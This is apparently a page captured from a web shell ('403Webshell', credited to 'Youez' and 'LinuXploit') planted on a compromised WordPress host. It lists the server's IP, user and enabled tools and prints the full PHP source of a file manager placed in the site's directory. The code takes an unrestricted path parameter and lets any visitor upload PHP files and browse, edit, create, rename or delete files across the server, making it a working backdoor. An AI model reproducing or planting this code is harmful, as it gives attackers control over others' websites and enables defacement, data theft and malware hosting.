403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.217.72
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/www/STRATO-apps/wordpress_02/app/vB/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/www/STRATO-apps/wordpress_02/app/vB/index.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
session_start();

// ---------- YOL İŞLEME (KISITLAMA YOK, ORJİNAL MANTIK) ----------
$currentPath = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$currentPath || !is_dir($currentPath)) {
    $currentPath = getcwd();
}

$item       = isset($_GET['item']) ? $_GET['item'] : null;
$itemPath   = $item ? $currentPath . DIRECTORY_SEPARATOR . basename($item) : null;
$action     = isset($_GET['action']) ? $_GET['action'] : null;

// İzin verilen dosya uzantıları
define('ALLOWED_EXTENSIONS', 'jpg,jpeg,png,gif,txt,pdf,zip,php,html,css,js,json,sql');
$allowedArray = explode(',', ALLOWED_EXTENSIONS);

// ---------- YARDIMCI FONKSİYONLAR ----------
function formatSize($bytes) {
    if ($bytes >= 1048576) {
        return round($bytes / 1048576, 2) . " MB";
    }
    if ($bytes >= 1024) {
        return round($bytes / 1024, 2) . " KB";
    }
    return $bytes . " B";
}

function goBack($path) {
    $parent = dirname($path);
    // Eğer ana dizine kadar geldiyse tekrar ana dizini göster
    if ($parent == $path) {
        $parent = $path;
    }
    echo "<a href='?path=" . urlencode($parent) . "'>← Back</a>";
}
// ---------------------------------------------

// ---------- POST İŞLEMLERİ ----------
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    // 1. Dosya yükleme
    if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
        $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
        if (!in_array($ext, $allowedArray)) {
            echo "<p style='color:red'>File type not allowed!</p>";
        } else {
            $target = $currentPath . "/" . basename($_FILES['file']['name']);
            if (realpath($target) == __FILE__) {
                echo "<p style='color:red'>Cannot overwrite the script file!</p>";
            } elseif (!is_writable($currentPath)) {
                echo "<p style='color:red'>Directory is not writable! Please check permissions.</p>";
            } else {
                if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                    header("Location: ?path=" . urlencode($currentPath));
                    exit;
                } else {
                    echo "<p style='color:red'>Upload failed! Unknown error occurred.</p>";
                }
            }
        }
    }
    
    // 2. Klasör oluştur
    if (isset($_POST['folder']) && !empty($_POST['folder'])) {
        $folderName = $currentPath . "/" . basename($_POST['folder']);
        if (!is_dir($folderName)) {
            if (mkdir($folderName, 0755, true)) {
                header("Location: ?path=" . urlencode($currentPath));
                exit;
            } else {
                echo "<p style='color:red'>Failed to create folder!</p>";
            }
        } else {
            echo "<p style='color:red'>Folder already exists!</p>";
        }
    }
    
    // 3. Dosya oluştur
    if (isset($_POST['new_file']) && !empty($_POST['new_file']) && isset($_POST['content'])) {
        $fileName = $currentPath . "/" . basename($_POST['new_file']);
        if (file_put_contents($fileName, $_POST['content'])) {
            header("Location: ?path=" . urlencode($currentPath));
            exit;
        } else {
            echo "<p style='color:red'>Failed to create file!</p>";
        }
    }
    
    // 4. Yeniden adlandır (POST ile)
    if (isset($_POST['new_name']) && !empty($_POST['new_name']) && $itemPath) {
        $newPath = $currentPath . "/" . basename($_POST['new_name']);
        if (rename($itemPath, $newPath)) {
            header("Location: ?path=" . urlencode($currentPath));
            exit;
        } else {
            echo "<p style='color:red'>Failed to rename!</p>";
        }
    }
    
    // 5. Dosya içeriğini kaydet (düzenle)
    if (isset($_POST['edited_content']) && $itemPath) {
        if (file_put_contents($itemPath, $_POST['edited_content'])) {
            header("Location: ?path=" . urlencode($currentPath));
            exit;
        } else {
            echo "<p style='color:red'>Failed to save file!</p>";
        }
    }
}
// ----------------------------------

// ---------- GET ACTION İŞLEMLERİ ----------
if ($action && $itemPath && file_exists($itemPath)) {
    
    // Silme
    if ($action === 'delete') {
        if (is_dir($itemPath)) {
            // rmdir sadece boş klasörleri siler, içi doluysa zaten başarısız olur
            if (rmdir($itemPath)) {
                header("Location: ?path=" . urlencode($currentPath));
                exit;
            } else {
                echo "<p style='color:red'>Failed to delete folder! Make sure it's empty.</p>";
            }
        } else {
            if (unlink($itemPath)) {
                header("Location: ?path=" . urlencode($currentPath));
                exit;
            } else {
                echo "<p style='color:red'>Failed to delete file!</p>";
            }
        }
    }
    
    // Düzenleme ekranı
    if ($action === 'edit' && is_file($itemPath)) {
        $content = file_get_contents($itemPath);
        $content = htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
        $fileName = basename($itemPath);
        
        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Edit File</title>
            <meta charset='utf-8'>
            <style>
                body { font-family: Arial; margin: 20px; background: #f5f5f5; }
                .container { max-width: 900px; margin: auto; background: white; padding: 20px; border-radius: 5px; }
                textarea { width: 100%; height: 400px; font-family: monospace; padding: 10px; }
                button { padding: 10px 20px; background: #4CAF50; color: white; border: none; cursor: pointer; }
                button:hover { background: #45a049; }
            </style>
        </head>
        <body>
        <div class='container'>
            <h3>Edit: $fileName</h3>
            <form method='POST'>
                <textarea name='edited_content'>$content</textarea><br><br>
                <button type='submit'>Save</button>
                <a href='?path=" . urlencode($currentPath) . "' style='margin-left:10px'>Cancel</a>
            </form>
        </div>
        </body>
        </html>";
        exit;
    }
    
    // Yeniden adlandırma ekranı
    if ($action === 'rename') {
        $fileName = basename($itemPath);
        echo "<!DOCTYPE html>
        <html>
        <head>
            <title>Rename</title>
            <meta charset='utf-8'>
            <style>
                body { font-family: Arial; margin: 20px; background: #f5f5f5; }
                .container { max-width: 500px; margin: auto; background: white; padding: 20px; border-radius: 5px; }
                input { padding: 8px; width: 300px; }
                button { padding: 8px 15px; background: #4CAF50; color: white; border: none; cursor: pointer; }
                button:hover { background: #45a049; }
            </style>
        </head>
        <body>
        <div class='container'>
            <h3>Rename Item</h3>
            <form method='POST'>
                <input type='text' name='new_name' value='$fileName' required>
                <button type='submit'>Save</button>
                <a href='?path=" . urlencode($currentPath) . "'>Cancel</a>
            </form>
        </div>
        </body>
        </html>";
        exit;
    }
}
// ----------------------------------

// ---------- ANA GÖRÜNÜM (HTML BİREBİR AYNI) ----------
$files = scandir($currentPath);
$files = array_diff($files, array('.', '..'));

?>
<!DOCTYPE html>
<html>
<head>
    <title>File Manager</title>
    <meta charset="utf-8">
    <style>
        body { font-family: Arial; margin: 20px; background: #f5f5f5; }
        .container { max-width: 1000px; margin: auto; background: white; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
        ul { list-style: none; padding: 0; }
        li { padding: 8px; border-bottom: 1px solid #eee; }
        li:hover { background: #f9f9f9; }
        a { text-decoration: none; color: #333; }
        a:hover { color: #4CAF50; }
        .btn { background: #4CAF50; color: white; padding: 8px 15px; border: none; cursor: pointer; border-radius: 3px; }
        .btn:hover { background: #45a049; }
        input[type=text], textarea { padding: 8px; border: 1px solid #ddd; border-radius: 3px; width: 100%; max-width: 300px; }
        hr { border: 0; border-top: 1px solid #eee; margin: 20px 0; }
        .menu { display: flex; flex-wrap: wrap; gap: 20px; }
        .menu-item { background: #f9f9f9; padding: 15px; border-radius: 5px; flex: 1; min-width: 200px; }
        .error { color: red; padding: 10px; background: #fee; border-radius: 3px; }
        .success { color: green; padding: 10px; background: #efe; border-radius: 3px; }
    </style>
</head>
<body>
<div class="container">
    <h2>📍 Location: <?php echo htmlspecialchars($currentPath); ?></h2>
    <?php goBack($currentPath); ?>
    <hr>
    
    <?php
    if (count($files) > 0) {
        echo "<ul>";
        foreach ($files as $f) {
            $fullPath = $currentPath."/".$f;
            $icon = is_dir($fullPath) ? "📁" : "📄";
            echo "<li>$icon ";
            
            if (is_dir($fullPath)) {
                echo "<a href='?path=".urlencode($fullPath)."'><b>$f</b></a>";
                echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f' onclick='return confirm(\"Are you sure you want to delete?\")'>Delete</a>]";
            } else {
                echo "<b>$f</b> (".formatSize(filesize($fullPath)).")";
                echo " [<a href='?path=".urlencode($currentPath)."&action=edit&item=$f'>Edit</a>]";
                echo " [<a href='?path=".urlencode($currentPath)."&action=delete&item=$f' onclick='return confirm(\"Are you sure you want to delete?\")'>Delete</a>]";
                echo " [<a href='?path=".urlencode($currentPath)."&action=rename&item=$f'>Rename</a>]";
            }
            echo "</li>";
        }
        echo "</ul>";
    } else {
        echo "<p>Folder is empty</p>";
    }
    ?>
    
    <hr>
    
    <div class="menu">
        <div class="menu-item">
            <h3>📤 Upload File</h3>
            <form method="POST" enctype="multipart/form-data">
                <input type="file" name="file" required><br><br>
                <input type="submit" value="Upload" class="btn">
            </form>
        </div>
        
        <div class="menu-item">
            <h3>📁 Create Folder</h3>
            <form method="POST">
                <input type="text" name="folder" placeholder="Folder name" required><br><br>
                <input type="submit" value="Create" class="btn">
            </form>
        </div>
        
        <div class="menu-item">
            <h3>📄 Create File</h3>
            <form method="POST">
                <input type="text" name="new_file" placeholder="File name" required><br>
                <textarea name="content" placeholder="Content..." style="width:100%;height:60px;margin:10px 0"></textarea><br>
                <input type="submit" value="Save" class="btn">
            </form>
        </div>
    </div>
    
    <hr>
    <p style="text-align:center;color:#666;font-size:12px">File Manager | Compatible with PHP 5.6, 7.x, 8.x</p>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit